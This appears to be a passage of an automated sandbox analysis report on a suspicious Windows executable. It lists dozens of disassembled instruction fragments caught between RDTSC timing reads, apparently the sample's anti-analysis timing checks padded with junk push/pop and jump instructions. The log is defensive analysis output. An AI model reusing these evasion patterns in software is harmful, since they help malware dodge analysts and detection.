Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A32F second address: 119A335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A335 second address: 119A356 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA378880E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jns 00007FA378880E26h 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push edx 0x00000018 pop edx 0x00000019 jp 00007FA378880E26h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A356 second address: 119A379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA37887CBEDh 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FA37887CBE6h 0x00000015 jl 00007FA37887CBE6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A379 second address: 119A37F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A500 second address: 119A505 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A505 second address: 119A50B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A50B second address: 119A538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA37887CBECh 0x00000009 jmp 00007FA37887CBF3h 0x0000000e popad 0x0000000f pushad 0x00000010 jno 00007FA37887CBE6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A66A second address: 119A67B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA378880E2Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119AB6E second address: 119AB72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119ACFA second address: 119ACFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119ACFE second address: 119AD2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF9h 0x00000007 jbe 00007FA37887CBE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119AE85 second address: 119AEC0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA378880E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007FA378880E34h 0x00000010 je 00007FA378880E26h 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA378880E31h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119F27D second address: 119F281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119F281 second address: 119F28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FA378880E2Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119EF8E second address: 119EF92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11A1A41 second address: 11A1A55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11A1D70 second address: 11A1D7A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11A5CA5 second address: 11A5CB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11A5CB6 second address: 11A5CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11A5CBC second address: 11A5CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11A5CC0 second address: 11A5CD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11A5481 second address: 11A5487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11A5487 second address: 11A548E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11A548E second address: 11A54C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA378880E33h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA378880E35h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11AC1F1 second address: 11AC1F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11AC1F7 second address: 11AC1FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11AAF26 second address: 11AAF44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA37887CBF1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11AB094 second address: 11AB098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11AB098 second address: 11AB0B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FA37887CBF1h 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11AB0B5 second address: 11AB0E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Fh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FA378880E26h 0x00000013 jmp 00007FA378880E33h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11AB0E5 second address: 11AB0F5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007FA37887CBE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D713 second address: 115D791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FA378880E28h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+1247E682h] 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007FA378880E28h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000015h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 add eax, ebx 0x00000045 push 00000000h 0x00000047 push ebp 0x00000048 call 00007FA378880E28h 0x0000004d pop ebp 0x0000004e mov dword ptr [esp+04h], ebp 0x00000052 add dword ptr [esp+04h], 0000001Bh 0x0000005a inc ebp 0x0000005b push ebp 0x0000005c ret 0x0000005d pop ebp 0x0000005e ret 0x0000005f or edi, 4244CF21h 0x00000065 push eax 0x00000066 push edi 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D791 second address: 115D81A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FA37887CBE8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 00000004h 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007FA37887CBE8h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f call 00007FA37887CBEDh 0x00000044 pop ecx 0x00000045 nop 0x00000046 jg 00007FA37887CBF8h 0x0000004c push eax 0x0000004d pushad 0x0000004e jne 00007FA37887CBE8h 0x00000054 push eax 0x00000055 push edx 0x00000056 jne 00007FA37887CBE6h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11AFEB9 second address: 11AFEC3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA378880E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11AF4DC second address: 11AF502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA37887CBE6h 0x0000000a popad 0x0000000b jmp 00007FA37887CBF3h 0x00000010 jng 00007FA37887CC05h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B4EDE second address: 11B4EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B5054 second address: 11B5064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBECh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B5064 second address: 11B5087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FA378880E33h 0x0000000f push edx 0x00000010 pop edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B5087 second address: 11B508C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B508C second address: 11B509C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FA378880E26h 0x0000000a jns 00007FA378880E26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B54E9 second address: 11B5502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA37887CBF4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B5502 second address: 11B550E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA378880E26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B5AE7 second address: 11B5AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B5AED second address: 11B5AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B5AF1 second address: 11B5AF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B5AF9 second address: 11B5AFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B5AFF second address: 11B5B03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B69A1 second address: 11B69A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11B69A5 second address: 11B69A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11BAA78 second address: 11BAAAA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA378880E32h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA378880E2Fh 0x0000000f jmp 00007FA378880E2Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11BB632 second address: 11BB636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11BB636 second address: 11BB641 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C7D0E second address: 11C7D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FA37887CBEFh 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jnl 00007FA37887CBE6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C8165 second address: 11C816B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C816B second address: 11C816F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C85CD second address: 11C85D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C8756 second address: 11C875A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C8A4A second address: 11C8A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C8A4E second address: 11C8A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C8A5C second address: 11C8A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA378880E33h 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C8A79 second address: 11C8A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA37887CBF0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C8A8E second address: 11C8A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C8A93 second address: 11C8A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C8C0B second address: 11C8C15 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA378880E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C8C15 second address: 11C8C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11C9312 second address: 11C9327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FA378880E2Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11D02C7 second address: 11D02DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA37887CBEAh 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11D02DF second address: 11D02E9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA378880E32h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11D02E9 second address: 11D02EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11DCEBF second address: 11DCEC5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11DCEC5 second address: 11DCECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11E42A7 second address: 11E42B4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA378880E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11E3DF7 second address: 11E3E0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11E3E0C second address: 11E3E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11E3E12 second address: 11E3E2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF6h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11E882D second address: 11E8835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11E8835 second address: 11E8863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA37887CBEEh 0x0000000a jmp 00007FA37887CBF7h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11E8863 second address: 11E8867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F16A1 second address: 11F16B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007FA37887CBE6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F151A second address: 11F153C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FA378880E26h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F153C second address: 11F1540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F8FCD second address: 11F8FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA378880E33h 0x00000009 pop edx 0x0000000a push esi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007FA378880E26h 0x00000014 jmp 00007FA378880E2Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F9178 second address: 11F919A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA37887CBEFh 0x00000009 jmp 00007FA37887CBEFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F919A second address: 11F91AA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007FA378880E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F91AA second address: 11F91C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA37887CBF6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F946B second address: 11F9470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F9470 second address: 11F9495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA37887CBEFh 0x00000009 jne 00007FA37887CBE6h 0x0000000f jnp 00007FA37887CBE6h 0x00000015 popad 0x00000016 push esi 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11F9495 second address: 11F94A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d js 00007FA378880E26h 0x00000013 rdtsc
